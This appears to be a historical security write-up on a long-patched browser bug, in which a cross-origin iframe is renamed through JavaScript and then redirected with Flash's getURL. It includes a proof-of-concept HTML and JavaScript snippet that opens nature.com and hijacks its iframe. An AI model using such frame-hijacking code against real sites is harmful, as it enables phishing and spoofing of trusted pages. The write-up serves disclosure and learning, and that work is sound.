Flash’s getURL method can navigate frames by name, including frames that belong to other domains. By assigning a name to a cross-origin iframe through JavaScript (which was apparently allowed at the time) and then using Flash’s getURL with that name as the target, the attacker can redirect a frame inside a different-origin window to an arbitrary URL.

<object id="oFlash" classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000"
        codebase="http://fpdownload.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=8,0,0,0"
        width="10" height="10">
    <param name="allowScriptAccess" value="Always" />
    <param name="movie" value="NOTHING_LOADED_YET" />
</object>

<script language="JavaScript">
var newWindow;
function openWindow()
{
    newWindow = window.open("http://www.nature.com");
    alert("Now click on the Hijack button");
}

function hijackIframe()
{
    var strIframeName = "HIJACKED_IFRAME";

    // Naming a cross-origin iframe — apparently legal/allowed
    newWindow[0].name = strIframeName;

    // getURL with the iframe name as target navigates it cross-origin
    oFlash.movie = "geturl.swf?METHOD=get&TARGET=" + strIframeName + "&REDIR=hijacked_iframe.html";
}
</script>

The expected behavior would be for the Flash navigation to open a new window instead of redirecting the cross-origin iframe, since the iframe doesn’t belong to the attacker’s domain. The combination of allowing cross-origin iframe naming with Flash’s unrestricted getURL targeting created a bypass.

Found during my years at Microsoft (2006–2014). These bugs were patched long ago — shared here as a historical record for learning purposes.